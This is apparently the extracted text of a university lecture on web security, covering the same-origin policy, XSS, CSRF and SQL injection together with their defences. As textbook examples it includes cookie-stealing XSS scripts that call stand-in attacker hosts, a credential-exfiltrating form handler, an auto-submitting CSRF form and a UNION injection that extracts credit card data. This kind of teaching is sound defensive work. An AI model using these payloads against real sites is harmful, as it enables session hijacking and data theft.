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What is Security? 

• “A computer is secure if you can depend on it and its software to behave 
as you expect” (Practical Unix Security, 1991)

• “Building systems to remain dependable in the face of malice, error or 
mischance” (Ross Anderson)

Can we build systems that are resilient against attackers?



Who is an Attacker?

• Anyone motivated to attack a system

– Mostly driven by financial incentives 

– Other incentives: political, social, for fun!

• Could be one person or a group

picture source: dc.fandom.com

https://dc.fandom.com/wiki/Barbara_Gordon_(New_Earth)


Basic Types of Attackers

I will replace the 
letter, or may be tell 
Alice that I am Bob

Mallory (malicious)

Eve (eavesdropper)



How Would this be Attacked?

[ From blogs.technet.com]

http://blogs.technet.com/b/rhalbheer/archive/2011/01/14/real-physical-security.aspx


Security and Privacy

Are they the same? 
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What about Data?

• Data leaks are a serious threat to privacy 

• Privacy is one important goal of information security

– Making systems resilient against information leaks

• Different measures for different data assets

– Logging in to an education website vs. banking 



Security and Privacy Meaning 

• Argument: 

“If a system is secure against data leaks and can’t get hacked, then my 
privacy is guaranteed” 

– Do you agree?

• Select yes/no on zoom 



Security and Privacy Can Overlap 



Example: Web Security 
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The rise of the web

Source: https://news.netcraft.com/archives/category/web-server-survey/ 11



The Web is made of documents

• HTML: text, structure

• URLs: connections to other 

documents

• … and to resources
• images, fonts, etc.
• CSS: presentation
• JavaScript: behavior

index
Information

Management:
A Proposal

Schottky
Noise
From

Very Cold
Beams
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body {
  background: black
p {
  color: green
}

// In order to
// emphasize how
// awesome the
// new collider
// will be, let's
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// pointer drip
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Documents talk to servers

• form submission

• resource requests

• XMLHttpRequest

• redirection

• ...

GET /

… <img 
src="lo

go.png"
> …

<form a
ction="

login.h
tml"> …

 

GET /logo.png

… image 
data …

POST /login.htmluser=Alice&pw=*******

303 log
in succ

essful

Locatio
n: /

Set-Coo
kie: se

ssion=S
TzfQz8e

xs0P

HTTP
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Browser sandbox
• Webpages include resources from a variety of sources

• including Javascript programs 

• Webpages could interact with resources on the computer

• “A modern web browser is fundamentally a virtual machine for 
running untrusted code.” —Kyle Huey

• Goal
• Run remote web applications safely
• Limited access to OS, network, and browser data

• Approach
• Isolate sites in different security contexts
• Browser manages resources, like an OS
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Policy goals

• Safe to visit an evil web site

• Safe to visit two pages at the same time
• Address bar distinguishes them

• Allow safe delegation
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Same Origin Policy (SOP)

• Origin = scheme://host:port

https://cnn.com:8080

http://cnn.com:8080

• Full access to same origin
• Full network access
• Read/write DOM
• Storage

• Limited access to other origins

Site A

Site A context

Site A context
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https://cnn.com:8080/


Does SOP Achieve the Policy Goals?

• Safe to visit an evil web site

• Safe to visit two pages at the same time
• Address bar distinguishes them

• Allow safe delegation
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Library import

• Script has privileges of importing page,

NOT source server.

• Can script other pages in this origin, load more 

scripts

• Dangerous embedding approach 
• Using iFrames provides better isolation 

• Also possible with other resources:

<script 
src="//connect.facebook.net/en_US/all.js#xfbml=1">
</script>

18



Attackers

• Web attacker
• Controls attacker.com, has certificate for it
• User visits site (perhaps unknowingly)

• Network attacker
• Passive: eavesdrops on packets
• Active: can modify or inject traffic

• Malware attacker
• Can run native code, outside sandboxes, on victim’s computer

Increasingly pow
erful
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The network attacker

l In between Alice and Bob
l Can eavesdrop on all traffic
l Can modify messages
l Can replay messages
l Can inject fabricated messages
l Can initiate own sessions with either party
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The web attacker is different

l Talks to Alice directly
l At the same time as she’s talking to Bob

l (how often do you log out of Gmail?)

l Sometimes also talks directly to Bob
l Cannot violate browser security policies
l Can do anything a web application can do
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Attacking web users

• Phishing (social engineering attack)

• Cross-site scripting (XSS)

• Session hijacking
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Attacking web servers

• Cross-site request forgery (CSRF)

• Injection (SQL, PHP, …)

• All generic attacks on network servers apply (buffer overflow, etc.)

• Unprotected APIs 
• (SOAP/XML, REST/JSON, RPC, etc. not intended for end users)
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Phishing

• Trick user into entering credentials on the wrong site

• Usually applied to high-value targets
• banks, email providers, Facebook, etc
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Cross-site scripting

• Attacker injects malicious JavaScript into web applications

• Common types:
• Reflected XSS (type 2, non-persistent)

• attack script is reflected back to the user as part of a page from the victim site 
(error message, search result, …)

• Stored XSS (type 1, persistent)
• attacker stores malicious code in a resource managed by the web application 

(database, message forum,…)

• DOM-based XSS
• Attackers injects malicious code into a vulnerable script in the browser
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Reflected XSS
• attack script is reflected back to the user as part of a page from the victim site 

(error message, search result, …)

Attack Server

Victim Server 

Victim client

visit web site

1
receive page with malicious link

2

page with injected scripts
4

click on link3

send valuable data

5
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Reflected XSS
• attack script is reflected back to the user as part of a page from the victim site 

(error message, search result, …)

Attack Server

Victim Server 

Victim client

visit web site

1
receive page with malicious link

2

page with injected scripts
4

click on link3

send valuable data

5
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Example

§ Search field on victim.com:

http://victim.com/search.php?term=app

le

§ Server-side implementation of  

search.php:

<HTML>    <TITLE> Search Results 
</TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY>   </HTML>

echo search term 
into response
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Example

§ Search field on victim.com:

http://victim.com/search.php?term=apple

§ Server-side implementation of  search.php:

<HTML>    <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY>   </HTML>

• http://victim.com/search.php?term= 

<script>(new Image()).src =

"http://badguy.com?cookie=" +

document.cookie)</script>

• What if user clicks on this link?
• Browser goes to victim.com/search.php
• Victim.com returns

• Results for <script> … </script>
• Browser executes script:

• Sends badguy.com cookie for 
victim.comecho search term 

into response
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victim.com

Attack Server

Victim Server 

Victim client

receive page containing malicious URL

user clicks on link
server echoes user input

http://victim.com/search.php? 
term=<script>...</script>

<html>
  ...
  Results for <script>

(new Image()).src =
"http://attacker.com?cookie=" + document.cookie)

</script>
  ...
</html>

attacker.com

Stored XSS

send valuable data

Reflected XSS script example

30



Stored XSS
Attack Server

Victim Server 

Victim client

send valuable data

request page
receive pagewith malicious content

1

2
3

4
upload
malicious
content
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Example (Samy worm)

• MySpace allows HTML on user pages

• JavaScript is filtered out on server
• but (at the time) JavaScript could be embedded in CSS, which was not filtered

• Visit an infected page while logged in...
• now your user page is infected
• and you’ve added Samy as a friend
• Samy had millions of friends within 24 hours
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DOM-based (serverless) XSS

• Example page
<HTML><TITLE>Welcome!</TITLE>

Hi <SCRIPT>

var pos = document.URL.indexOf("name=") + 5;   

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

</HTML>

• Works fine with this URL
http://www.example.com/welcome.html?name=Joe

• But what about this one?
http://www.example.com/welcome.html?name=

<script>alert(document.cookie)</script>

Amit Klein ... XSS of the Third Kind 33



Server-side defenses

Attack Server

Victim Server 

Victim client

visit web site

receive malicious page

send valuable data

click on link
echo user input

1
2

3
4

5
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Input filtering

• Never trust client-side data
• Best: allow only what you expect

• Remove/encode special characters
• Many encodings, special chars!
• e.g., long (non-standard) UTF-8 encodings

• Never roll your own input filter! 
• Kind of like crypto
• Good libraries available

• Test your filtering
• XSS filter evasion cheat sheet 

35

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html


Output filtering / encoding

• Remove / encode (X)HTML special chars
• &lt; for <, &gt; for >, &quot for “ …

• Allow only safe commands (e.g., no <script>…)

• Caution: `filter evasion` tricks
• See XSS Cheat Sheet (on OWASP) for filter evasion
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Caution: scripts not only in <script>!

• JavaScript as scheme in URI
• <img src=“javascript:alert(document.cookie);”>

• JavaScript On{event} attributes (handlers)
• OnSubmit, OnError, OnLoad, …

• Typical use:
• <img src=“none” OnError=“alert(document.cookie)”>
• <iframe src=`https://bank.com/login` onload=`steal()`>
• <form> action="logon.jsp" method="post”
onsubmit="hackImg=new Image;
hackImg.src='http://www.digicrime.com/'+document.forms(1).login
.value'+':’+
document.forms(1).password.value;" </form>
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Problems with filters

• Suppose a filter removes <script
• Good case
<script src=“ ...”  =>  src=“...”

• But then
<scr<scriptipt src=“ ...”  => <script src=“ ...” 
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Identifying XSS vulnerabilities

• Dynamic “taint” tracking

• Static analysis of data flow

• Topic of active research
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Content-Security-Policy

l Web server: through http response header 

l Web page: on a page directly using the meta tag
l <meta http-equiv="Content-Security-Policy" content="default-
src 'self’ >

l Directs browser not to run code in unexpected places
- e.g., “allow scripts only from mycdn.company.com”

l Deployment has been difficult
- Requires e.g., removal of all inline scripts
- Unavailable some browsers browsers

40
More: Reining in the web with content security policy

https://dl.acm.org/doi/10.1145/1772690.1772784


XSS = Cross-site scripting

• Attacker injects malicious JavaScript into web applications

• Common types:
• Reflected XSS (type 2, non-persistent)

• attack script is reflected back to the user as part of a page from the victim site 
(error message, search result, …)

• Stored XSS (type 1, persistent)
• attacker stores malicious code in a resource managed by the web application 

(database, message forum,…)

• DOM-based XSS
• Attackers injects malicious code into a vulnerable script in the browser
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Cross-Site Request Forgery (CSRF)
Attack Server

Victim Server 

Victim client

visit malicious server

receive malicious page

establish session

malicious page forgesrequest to victim server

2

3

1

4
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Cross-Site Request Forgery

• Example:   
• User logs in to bank.com

• Session cookie remains in browser state

• User visits another site (attacker.com) containing:
<form  name=F  action=http://bank.com/BillPay.php>
<input  name=recipient   value=badguy> …
<script> document.F.submit(); </script> 

• Browser sends user auth cookie with request
• Transaction will be fulfilled

• Problem:   
• cookie auth is insufficient when side effects occur
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Form post with Cookie

User credentials

Cookie: SessionID=523FA4cd2E
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CSRF prevention token

• Requests include a hard-to-guess 

secret
• Unguessability substitutes for 

unforgeability

• CSRF Token can be added in 

Hidden field form parameter

• CSRF Token can be sent in custom 

HTTP request header 
• More secure but needs XHR
• Can be overcomplicated

• Should never be sent in cookies   
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SQL injection

Source: xkcd commics. https://xkcd.com 
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Database queries with PHP     (the Wrong Way)

• Sample PHP

$recipient = $_POST[‘recipient’];  

$sql = "SELECT PersonID FROM People WHERE    

Username='$recipient'  ";  

$rs = $db->executeQuery($sql);

• Untrusted user input  ‘recipient’  is embedded directly into SQL command

• Just like XSS, but attacking the database, not a victim page
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Example: Getting Private Info
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Example: getting private info

“SELECT pizza, toppings, quantity, date
  FROM orders
  WHERE userid=” . $userid .
“AND order_month=”  . _GET[‘month’]

SQL 
Query

What if:   

 month = “
 0 AND 1=0
 UNION SELECT name,  CC_num,  exp_mon,  exp_year
 FROM  creditcards   ”
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Results

Credit Card Info 
Compromised

50



Cure: parametrized  SQL

SqlCommand cmd = new SqlCommand( 

"SELECT * FROM UserTable WHERE 

username = @User AND 

password = @Pwd", dbConnection); 

cmd.Parameters.Add("@User", Request[“user”]); 

cmd.Parameters.Add("@Pwd", Request[“pwd”]); 

cmd.ExecuteReader(); 

• Reference user data via variables in the SQL — the parser never sees it

• Example is in ASP.NET; all good database APIs support

• Also known as “prepared statements”, “bound parameters”, etc.
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Why parameterized SQL? 

• Easy to write and understand 

• Distinguishes code from data 

• Examples of OWASP and W3school

• Performance concerns? Possible solutions: 
• Strong data validation (e.g., allow listing) 
• Escape all user input using an escaping routine 

• Developer friendly: 

• SQL code stays within the application 
• DB independent 

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html 
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I could go on…..

• Clickjacking

• Session hijacking

• Cache poisoning

• Protocol downgrading

• Code injection

• Drive-by download (of malware)

• …. 
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Instead, another threat model

• Alice may trust Bob, but does she 

trust Bob’s associates?

• Ad providers

• Analytics providers

• Content delivery network

• Social media enhancements
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Ten sites and their associates

http://www.mozilla.org/lightbeam/ 55



Attacks on users by providers

• Behavioral tracking

• History sniffing (cache, CSS, …)

• Supercookies

• Social network graph discovery

• Spear phishing

• Spam targeting
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Web Security Takeaway slide -1

• The web is an interconnected network of documents
• The intention is to cooperate to deliver service to users

• Unfortunately, attackers are in the network, and so trust can be misplaced and abused!
• Distinguish threat models: web vs. network

• Same Origin Policy—mandatory isolation

• Relaxations: library import, domain relaxation
• Further relaxed by modern mechanisms, 

• e.g., cross-origin resource sharing, postMessage calls
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Web Security Takeaway slide -2

• Phishing—attack user’s trust in perceived content
• User education helps, but can and should we expect all users to be experts?

• XSS—attack browser’s trust on server’s response
• Filtering/sanitization helps, but tricky/impossible to do it correctly
• Content Security Policy is a cure, if the policy is written correctly and if CSP is deployed

• CSRF—attack server’s trust on browser’s request
• Combine with XSS in automated attacks, but also in phishing against users
• Can be and should be mitigated with authentication, e.g., CSRF token

• SQL injection—attack SQL server’s trust on a web server, which in turn trusts inputs inside 

the browser’s request
• Can be and should be mitigated using parameterized SQL (prepared statements)
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General Advice and Takeaways



Security is a Process 

• What system/ information to protect?

• What are the required security properties?

– Authentication, integrity, anonymity, confidentiality, ...

• What are our the attackers’ capabilities?

– incentive, resources, time, technical feasibility …

• Cost!



Some Terminology   

- Threat: Person, thing, event or idea that poses some danger to an 
asset’s desired security property or legitimate use

- May result from deliberate or accidental action

- Attack: Realization of a threat (passive vs. active attack)

- Safeguards or Defenses: Control mechanisms, policies or 
procedures to protect assets from threats

- Vulnerabilities: weaknesses in safeguards or absence thereof

- Risk: Estimate of the cost and probability of a vulnerability



We can use properties   

• Secrecy 

• Integrity

• Identification 

• (Message) Authentication

• Authorization, certification, access control, revocation, witnessing

• Non-repudiation 

• Anonymity 

• Freshness & Age 

• Availability



We can also use Threat Modeling  

• STRIDE: Threat model by Microsoft  

• Six categories

– Spoofing of user identity

– Tampering

– Repudiation

– Information disclosure (privacy breach or data leak)

– Denial of service (D.o.S)

– Elevation of privilege

https://www.owasp.org/index.php/Threat_Risk_Modeling


Remaining Ethical

• We cannot go and hack into other systems
• Even with good intentions
• This includes software developed by others 

• If we have access to sensitive information, then we have a responsibility 

• Reporting vulnerabilities/concerns
• Do you know how to report spam/phishing at CMU? 
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